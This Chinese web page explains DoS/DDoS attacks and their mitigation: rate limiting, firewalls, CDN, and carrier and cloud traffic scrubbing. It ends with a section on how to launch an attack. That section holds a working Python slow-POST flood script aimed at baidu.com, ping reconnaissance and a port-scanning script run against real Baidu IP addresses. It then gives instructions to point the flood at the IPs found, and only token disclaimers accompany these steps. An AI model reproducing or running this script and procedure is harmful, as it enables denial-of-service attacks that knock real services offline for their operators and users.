什么是 DDoS 攻击
拒绝服务(DDoS)攻击和分布式拒绝服务(DDoS)攻击都是恶意的行为,利用大量互联网流量淹没目标服务器、服务或网络,破坏它们的正常运作。
DoS 攻击通过从单一机器(通常是一台计算机)发送恶意流量来实现这种破坏。形式可以非常简单;通过向目标服务器发送数量超过其有效处理和响应能力的ICMP(Ping)请求,发动基本的 Ping 洪水攻击。
另一方面,DDoS 攻击使用一台以上的机器向目标发送恶意流量。这些机器通常是僵尸网络(感染了恶意软件的计算机或其他设备的集合)的一部分,因而可以由单个攻击者进行远程控制。在其他情形中,多名个体攻击者可以串通起来,一起从各自的个体计算机发送流量来发动 DDoS 攻击。
DDoS 攻击在现代互联网中更为普遍,破坏性也更强,原因有二。首先,现代安全工具已经发展为能够阻止一些普通的 DoS 攻击。其次,DDoS 攻击工具已经变得相对廉价且易于操作。
如何防御 DoS/DDoS 工具?
既然 DoS 和 DDoS 攻击采取多种不同的形式,缓解它们也需要不同的策略。阻止 DDoS 攻击的常见策略有:
速率限制:限制服务器在特定时间范围内接受的请求数量
Web 应用程序防火墙:使用工具来基于一系列规则过滤 Web 流量
CDN网络扩散:在服务器和传入流量之间置入一个大型分布式云网络,以提供额外的计算资源来响应请求。
百度云加速应用了所有这些及其他策略,来防御最大、最复杂的 DoS 和 DDoS 攻击。
相关链接
DDoS的攻击方式有哪些?如何辨别是不是DDOS攻击?
DDOS攻击是分布式拒绝服务攻击的简称,指处于不同位置的多个攻击者同时向一个或者数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者可以有多个。常见的攻击方式如下:
1、SYN Flood攻击
是当前网络上最为常见的DDOS攻击,它利用了TCP协议实现上的一个缺陷。通过向网络服务所在端口发送大量的伪造源地址的攻击报文,就可能造成目标服务器中的半开连接队列被占满,从而阻止其他合法用户进行访问。
2、UDP Flood攻击
属于日渐猖獗的流量型DDOS攻击,原理也很简单。常见的情况是利用大量UDP小包冲击DNS服务器或者Radius认证服务器、流媒体视频服务器。由于UDP协议是一种无连接的服务,在UDP
Flood攻击中,攻击者可发送大量伪造源IP地址的小UDP包。
3、ICMP Flood攻击
属于流量型的攻击方式,是利用大的流量给服务器带来较大的负载,影响服务器的正常服务。由于目前很多防火墙直接过滤ICMP报文。因此ICMP
Flood出现的频度较低。
4、Connection Flood攻击
是典型的利用小流量冲击大带宽网络服务的攻击方式,这种攻击的原理是利用真实的IP地址向服务器发起大量的连接。并且建立连接之后很长时间不释放,占用服务器的资源,造成服务器上残余连接过多,效率降低,甚至资源耗尽,无法响应其他客户所发起的链接。
5、HTTP Get攻击
主要是针对存在ASP、JSP、PHP、CGI等脚本程序,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用。它可以绕过普通的防火墙防护,通过Proxy代理实施攻击,缺点是攻击静态页面的网站效果不佳,会暴露攻击者的lP地址。
6、UDP DNS Query Flood攻击
采用的方法是向被攻击的服务器发送大量的域名解析请求,通常请求解析的域名是随机生成或者是网络世界上根本不存在的域名。域名解析的过程给服务器带来了很大的负载,每秒钟域名解析请求超过一定的数量就会造成DNS服务器解析域名超时。
有哪些防护措施可以解决DDOS攻击?
Dos拒绝服务攻击是通过各种手段消耗网络带宽和系统CPU、内存、连接数等资源,直接造成网络带宽耗尽或系统资源耗尽,使得该目标系统无法为正常用户提供业务服务,从而导致拒绝服务。
常规流量型的DDos攻击应急防护方式因其选择的引流技术不同而在实现上有不同的差异性,主要分为以下三种方式,实现分层清洗的效果。
1. 本地DDos防护设备
一般恶意组织发起DDos攻击时,率先感知并起作用的一般为本地数据中心内的DDos防护设备,金融机构本地防护设备较多采用旁路镜像部署方式。
本地DDos防护设备一般分为DDos检测设备、清洗设备和管理中心。首先,DDos检测设备日常通过流量基线自学习方式,按各种和防御有关的维度:
比如syn报文速率、http访问速率等进行统计,形成流量模型基线,从而生成防御阈值。
学习结束后继续按基线学习的维度做流量统计,并将每一秒钟的统计结果和防御阈值进行比较,超过则认为有异常,通告管理中心。
由管理中心下发引流策略到清洗设备,启动引流清洗。异常流量清洗通过特征、基线、回复确认等各种方式对攻击流量进行识别、清洗。
经过异常流量清洗之后,为防止流量再次引流至DDos清洗设备,可通过在出口设备回注接口上使用策略路由强制回注的流量去往数据中心内部网络,访问目标系统。
2. 运营商清洗服务
当流量型攻击的攻击流量超出互联网链路带宽或本地DDos清洗设备性能不足以应对DDos流量攻击时,需要通过运营商清洗服务或借助运营商临时增加带宽来完成攻击流量的清洗。
运营商通过各级DDos防护设备以清洗服务的方式帮助用户解决带宽消耗型的DDos攻击行为。实践证明,运营商清洗服务在应对流量型DDos攻击时较为有效。
3. 云清洗服务
当运营商DDos流量清洗不能实现既定效果的情况下,可以考虑紧急启用运营商云清洗服务来进行最后的对决。
依托运营商骨干网分布式部署的异常流量清洗中心,实现分布式近源清洗技术,在运营商骨干网络上靠近攻击源的地方把流量清洗掉,提升攻击对抗能力。
具备适用场景的可以考虑利用CNAME或域名方式,将源站解析到安全厂商云端域名,实现引流、清洗、回注,提升抗D能力。进行这类清洗需要较大的流量路径改动,牵涉面较大,一般不建议作为日常常规防御手段。
总结
以上三种防御方式存在共同的缺点,由于本地DDos防护设备及运营商均不具备HTTPS加密流量解码能力,导致针对HTTPS流量的防护能力有限;
同时由于运营商清洗服务多是基于Flow的方式检测DDos攻击,且策略的颗粒度往往较粗,因此针对CC或HTTP慢速等应用层特征的DDos攻击类型检测效果往往不够理想。
对比三种方式的不同适用场景,发现单一解决方案不能完成所有DDos攻击清洗,因为大多数真正的DDos攻击都是“混合”攻击(掺杂各种不同的攻击类型)。
比如:以大流量反射做背景,期间混入一些CC和连接耗尽,以及慢速攻击。这时很有可能需要运营商清洗(针对流量型的攻击)先把80%以上的流量清洗掉,把链路带宽清出来;
在剩下的20%里很有可能还有80%是攻击流量(类似CC攻击、HTTP慢速攻击等),那么就需要本地配合进一步进行清洗。
如何进行DDOS攻击怎么做
会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可
代码:
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。
所以,最好用Windows里的PING进行检测
操作:
在Windows搜索栏里输入:cmd
输入:
ping -n 10 -l 1 baidu.com
//这里拿百度做示范,别真打百度!
那么,就会发现,系统反映了:
正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
39.156.69.79 的 Ping 统计信息:
数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 26ms,最长 = 29ms,平均 = 27ms
说明,百度的服务器有一个主服务器是39.156.69.79
那么,就来查找百度的所有服务器吧!
输入以下代码:
#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否
#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴
#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#获取常用端口对应的服务名称
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超时时间的不同会影响扫描结果的精确度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#尝试连接指定端口
sock.connect((host,port))
#记录打开的端口
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#创建进程池,允许最多8个进程同时运行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击
for host_number in map(str,range(8,10)):
host = net + host_number
#创建一个新进程,同时记录其运行结果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#关闭进程池,close()必须在join()之前调用
pool.close()
#等待进程池中的进程全部执行结束
pool.join()
#打印输出结果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你会发现,Python反映了:
starting 39.156.69.8...
starting 39.156.69.9...
//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!
接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9
就可以实现DDoS攻击了。
//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!
0条大神的评论